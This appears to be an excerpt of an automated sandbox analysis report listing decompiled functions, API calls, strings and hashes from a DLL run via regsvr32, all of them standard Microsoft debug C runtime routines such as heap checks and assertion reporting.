Part of subcall function 000007FEF9D2CA00: EncodePointer.KERNEL32 ref: 000007FEF9D2CA33

_initterm_e.LIBCMTD ref: 000007FEF9D2701F

Strings

Y, xrefs: 000007FEF9D2700C

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer_initterm_e
String ID: Y
API String ID: 1618838664-1754117475
Opcode ID: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction ID: e2eda9ea6841371ef03f52dec0317b7f8d7542193ab5d09d46fee122be74aa2a
Opcode Fuzzy Hash: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction Fuzzy Hash: 1DE0C22190C042A7FAA1AB24ED453BE63E0B791344FA14231E2CD824B5EB2FF908CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27540 Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E000007FE7FEF9D27540(long long __rax) {
				long long _v24;
				void* _t8;
				void* _t9;

				_t16 = __rax;
				_t9 = E000007FE7FEF9D23D00(_t8); // executed
				_v24 = __rax;
				return E000007FE7FEF9D2CF20(E000007FE7FEF9D2CFB0(E000007FE7FEF9D2D450(E000007FE7FEF9D2D470(E000007FE7FEF9D2BD50(E000007FE7FEF9D2AB90(_t9, _v24), _v24), _v24), _v24), _v24), _t16, _v24);
			}

0x7fef9d27540
0x7fef9d27544
0x7fef9d27549
0x7fef9d2758e

APIs

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

_initp_misc_winsig.LIBCMTD ref: 000007FEF9D2757B
_initp_eh_hooks.LIBCMTD ref: 000007FEF9D27585

Part of subcall function 000007FEF9D2CF20: EncodePointer.KERNEL32(?,?,?,?,000007FEF9D2758A,?,?,?,?,?,?,000007FEF9D23D39), ref: 000007FEF9D2CF30

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_initp_eh_hooks_initp_misc_winsig
String ID:
API String ID: 2678799220-0
Opcode ID: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction ID: d1131ca10be328b200f0d94da683d71e83c9d45f094ccb2362bb8b9ac37f618d
Opcode Fuzzy Hash: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction Fuzzy Hash: CFE07D6391D58181E6B0BB21EC5226E93B0F7C8788F610171B6CD47A7BCE1DE9018B80

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2ACA8 Relevance: 3.0, APIs: 2, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

__crtExitProcess.LIBCMTD ref: 000007FEF9D2ACB7

Part of subcall function 000007FEF9D274E0: ExitProcess.KERNEL32 ref: 000007FEF9D274F5

RtlAllocateHeap.NTDLL ref: 000007FEF9D2ACE7

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExitProcess$AllocateHeap__crt
String ID:
API String ID: 4215626177-0
Opcode ID: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction ID: 018cd22ed3aaffe80bc67b356604b0c029bcf26b5d2cff022e0890546f5cf117
Opcode Fuzzy Hash: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction Fuzzy Hash: AFE04F2490898683E7A49726E80037D63E0FB84348F614036D7CE026F5CF2FE840E601

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D24399 Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF9D24399(long long __rax, long long _a48, intOrPtr _a80, intOrPtr _a88, void* _a120) {

				_a48 = __rax;
				if (_a48 == 0) goto 0xf9d243ad;
				goto 0xf9d243f5;
				if (_a88 != 0) goto 0xf9d243ce;
				if (_a120 == 0) goto 0xf9d243c7;
				 *_a120 = 0xc;
				goto 0xf9d243f5;
				if (E000007FE7FEF9D2ABB0(_a48, _a80) != 0) goto 0xf9d243f3;
				if (_a120 == 0) goto 0xf9d243ef;
				 *_a120 = 0xc;
				goto 0xf9d243f5;
				goto 0xf9d24377;
				return 0;
			}

0x7fef9d24399
0x7fef9d243a4
0x7fef9d243ab
0x7fef9d243b2
0x7fef9d243ba
0x7fef9d243c1
0x7fef9d243cc
0x7fef9d243da
0x7fef9d243e2
0x7fef9d243e9
0x7fef9d243f1
0x7fef9d243f3
0x7fef9d243f9

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction ID: 1adc9abf0de1c3ca8893cd90e215b0d97e51771cadcbd8eff06287440f46b9d2
Opcode Fuzzy Hash: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction Fuzzy Hash: 8B01B332A5CB41C6F7A08A55E84472EA7E0F7C4794F321121AECD42BB8CB7DE440CA00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23471 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF9D23496

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _ioterm
String ID:
API String ID: 4163092671-0
Opcode ID: ccd1307e9d50970cca75b27b642d85769dad3e23086d7af9cb1c5234e8638c27
Instruction ID: 7377a742d64af20529275359c4a94eabcf7c0d21081332a84b693dd33c507e1a
Opcode Fuzzy Hash: ccd1307e9d50970cca75b27b642d85769dad3e23086d7af9cb1c5234e8638c27
Instruction Fuzzy Hash: F4F03720C0C10789FAE16778AC0A37CA1D1A711B91F3252F5A0DC821F2D77FB54A8A12

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23433 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF9D23437

Part of subcall function 000007FEF9D27D00: DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2343C), ref: 000007FEF9D27D93

Part of subcall function 000007FEF9D23E00: FlsFree.KERNEL32 ref: 000007FEF9D23E13
Part of subcall function 000007FEF9D23E00: _mtdeletelocks.LIBCMTD ref: 000007FEF9D23E23

Part of subcall function 000007FEF9D288D0: HeapDestroy.KERNELBASE ref: 000007FEF9D288DB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CriticalDeleteDestroyFreeHeapSection_ioterm_mtdeletelocks
String ID:
API String ID: 1508997487-0
Opcode ID: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction ID: 18d5f63124407e78997e2f664e67049843f9c9ac3d7a6681d0ffcba3130af5de
Opcode Fuzzy Hash: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction Fuzzy Hash: 50E06760E0C1439AF6D567B46C423BD91D06B54BC1FB245B2A1CE862F3EA5FB8014662

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D288D0 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNELBASE ref: 000007FEF9D288DB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DestroyHeap
String ID:
API String ID: 2435110975-0
Opcode ID: f7b981f9b1b51933cf7e1d9a1baddea90378982ce7575ce50583c327d4fc7a8e
Instruction ID: df5636f5ee55eb5a1123ad47329e94e2a1af4504a4e9b44811c9c5941fd1bffd
Opcode Fuzzy Hash: f7b981f9b1b51933cf7e1d9a1baddea90378982ce7575ce50583c327d4fc7a8e
Instruction Fuzzy Hash: 6CC04C64D15A01C1EA445726FC8536822A06394745FA0C021C5CD012308B2F55968701

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23D00 Relevance: 1.5, APIs: 1, Instructions: 5COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 486166b47cec33101184f167bfa082c8d21519f5c79393c344b51e77eb7d9bd4
Instruction ID: 5c830059afc01ab3dffeb0f702370a5898bb96dd38ab511ff450623a486f5942
Opcode Fuzzy Hash: 486166b47cec33101184f167bfa082c8d21519f5c79393c344b51e77eb7d9bd4
Instruction Fuzzy Hash: F1A00224F16591D7DAAC373A5D9713D11A06B68709FF05869C74F40261CE2F92FE8B05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000007FEF9D30215 Relevance: 89.7, APIs: 29, Strings: 22, Instructions: 441COMMON

Download Yara Rule

APIs

_itow_s.LIBCMTD ref: 000007FEF9D3024C
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30279
OutputDebugStringW.KERNEL32 ref: 000007FEF9D30285
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302BF
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302CC
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302DA
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302E7
_wcsftime_l.LIBCMTD ref: 000007FEF9D30352
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D303AA
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30408
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30484
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D304CB
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30538
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D3057E
_snwprintf_s.LIBCMTD ref: 000007FEF9D305F5
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D3064D
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D306AB
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D30764
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D307B8
_unlock.LIBCMTD ref: 000007FEF9D30900

Strings

Assertion failed!, xrefs: 000007FEF9D30433
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D30A9C
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 000007FEF9D30270, 000007FEF9D30C15
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D303FF
Assertion failed: , xrefs: 000007FEF9D30422
P, xrefs: 000007FEF9D30AC6
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D303C7, 000007FEF9D3066A
, Line , xrefs: 000007FEF9D302C5
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c, xrefs: 000007FEF9D30262, 000007FEF9D3037E, 000007FEF9D303F1, 000007FEF9D3046D, 000007FEF9D304B4, 000007FEF9D30521, 000007FEF9D30567, 000007FEF9D30621, 000007FEF9D30694, 000007FEF9D30738, 000007FEF9D307A1, 000007FEF9D30A84, 000007FEF9D30C07
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D306A2
_VCrtDbgReportW, xrefs: 000007FEF9D30269, 000007FEF9D3038A, 000007FEF9D303F8, 000007FEF9D30474, 000007FEF9D304BB, 000007FEF9D30528, 000007FEF9D3056E, 000007FEF9D3062D, 000007FEF9D3069B, 000007FEF9D30744, 000007FEF9D307A8, 000007FEF9D30A90, 000007FEF9D30C0E
<file unknown>, xrefs: 000007FEF9D302A8
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 000007FEF9D304C2
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 000007FEF9D3047B
%s(%d) : %s, xrefs: 000007FEF9D305DB
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 000007FEF9D307AF
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 000007FEF9D3052F
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 000007FEF9D30575
(*_errno()), xrefs: 000007FEF9D30396, 000007FEF9D30639
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D30750
Second Chance Assertion Failed: File , xrefs: 000007FEF9D3027E
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 000007FEF9D3077A

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$DebugOutputString$_invoke_watson_if_oneof$_itow_s_snwprintf_s_unlock_wcsftime_l
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 4197005980-4190456261
Opcode ID: 4879bfb960a2721f9666c96030d6b34d6758162388cb50bc2d04b6b5102aed05
Instruction ID: 631fc2af3d1e2e358681470289229c30ebeab24735d73449bcceef6109dc099e
Opcode Fuzzy Hash: 4879bfb960a2721f9666c96030d6b34d6758162388cb50bc2d04b6b5102aed05
Instruction Fuzzy Hash: 6B421031A0CA8685EBB0CB14E8547EE73E4F784345FA04226D6CD43AA9DF7EE549CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D30CC0 Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 140libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

LoadLibraryW.KERNEL32 ref: 000007FEF9D30D2A
GetProcAddress.KERNEL32 ref: 000007FEF9D30D50
DecodePointer.KERNEL32 ref: 000007FEF9D30E40
DecodePointer.KERNEL32 ref: 000007FEF9D30E52
DecodePointer.KERNEL32 ref: 000007FEF9D30F67

Strings

MessageBoxA, xrefs: 000007FEF9D30D44
GetLastActivePopup, xrefs: 000007FEF9D30D9E
GetActiveWindow, xrefs: 000007FEF9D30D7C
GetProcessWindowStation, xrefs: 000007FEF9D30DF3
USER32.DLL, xrefs: 000007FEF9D30D23
GetUserObjectInformationA, xrefs: 000007FEF9D30DC0

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$AddressEncodeLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2256938910-232180764
Opcode ID: 7f66a9951f4a4371a03f8907a7d8dae5388e10f0167802e39e15e0e0cc6986ee
Instruction ID: c20bf9db26653c31616cb8f8a39641649b62d884e8934e9a70f617ae2971618d
Opcode Fuzzy Hash: 7f66a9951f4a4371a03f8907a7d8dae5388e10f0167802e39e15e0e0cc6986ee
Instruction Fuzzy Hash: 9A81C631A19B8686E7A09B19FC4436EB3E0F784755F608135DACE426B8DF7EE448CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D24A70 Relevance: 30.3, APIs: 2, Strings: 15, Instructions: 504COMMONLIBRARYCODE

Download Yara Rule

Strings

Invalid allocation size: %Iu bytes., xrefs: 000007FEF9D24CC6
pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ, xrefs: 000007FEF9D24EA2
Error: possible heap corruption at or near 0x%p, xrefs: 000007FEF9D24F22
Client hook re-allocation failure at file %hs line %d., xrefs: 000007FEF9D24C00
_pFirstBlock == pOldBlock, xrefs: 000007FEF9D25294
The Block at 0x%p was allocated by aligned routines, use _aligned_realloc(), xrefs: 000007FEF9D24DE7
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D24B38, 000007FEF9D24E45, 000007FEF9D24EB7, 000007FEF9D251C0, 000007FEF9D2523B, 000007FEF9D252A9
Error: memory allocation: bad memory block type., xrefs: 000007FEF9D24D7D
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D24E30
fRealloc || (!fRealloc && pNewBlock == pOldBlock), xrefs: 000007FEF9D251AB
Client hook re-allocation failure., xrefs: 000007FEF9D24C25
Error: memory allocation: bad memory block type.Memory allocated at %hs(%d)., xrefs: 000007FEF9D24D55
_CrtCheckMemory(), xrefs: 000007FEF9D24B23
Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d)., xrefs: 000007FEF9D24C94
_pLastBlock == pOldBlock, xrefs: 000007FEF9D25226

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: Client hook re-allocation failure at file %hs line %d.$Client hook re-allocation failure.$Error: memory allocation: bad memory block type.$Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).$Error: possible heap corruption at or near 0x%p$Invalid allocation size: %Iu bytes.$Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_realloc()$_CrtCheckMemory()$_CrtIsValidHeapPointer(pUserData)$_pFirstBlock == pOldBlock$_pLastBlock == pOldBlock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$fRealloc || (!fRealloc && pNewBlock == pOldBlock)$pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ
API String ID: 0-1181733849
Opcode ID: 0b4b4e85d1eb3ae1a0b395440fade81dc617beeaf4b680a727513a857c3a72e7
Instruction ID: c027552587c484905274aa3c7dfc2130a2bba284c4db387798f357193d3a2f5b
Opcode Fuzzy Hash: 0b4b4e85d1eb3ae1a0b395440fade81dc617beeaf4b680a727513a857c3a72e7
Instruction Fuzzy Hash: B3421035A0DB8685EBA08B69E88076E77E0F785794F214136DADD83BB4DB7ED440CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D253FB Relevance: 21.3, APIs: 2, Strings: 10, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

_CrtIsValidHeapPointer.LIBCMTD ref: 000007FEF9D254D9
_free_base.LIBCMTD ref: 000007FEF9D2583F

Strings

pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 000007FEF9D257E9
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2573C
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25620
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 000007FEF9D2542B
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 000007FEF9D2579F
Client hook free failure., xrefs: 000007FEF9D254A0
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D254F7, 000007FEF9D2556D, 000007FEF9D257FE
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D25558
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D254E2
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 000007FEF9D25683

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: HeapPointerValid_free_base
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ
API String ID: 1656799702-182684663
Opcode ID: 708cd418722caba3a196df14d36aa04cdda5776576cdf5b3aec82fe9c7f2493c
Instruction ID: 30c4da0a101ad128366c20b2541b857d1a248eb6f856515bedc9f5e1dcd2840f
Opcode Fuzzy Hash: 708cd418722caba3a196df14d36aa04cdda5776576cdf5b3aec82fe9c7f2493c
Instruction Fuzzy Hash: 58C16E36A18B4586EBA48B59E88076EB7E0F785790F614536EACD43BB4DB7ED401CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25CAD Relevance: 17.8, Strings: 14, Instructions: 322COMMON

Download Yara Rule

Strings

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25FE7
_heapchk fails with _HEAPBADNODE., xrefs: 000007FEF9D25D19
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 000007FEF9D26030
_heapchk fails with _HEAPBADEND., xrefs: 000007FEF9D25D4D
_1, xrefs: 000007FEF9D261FC
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2617C
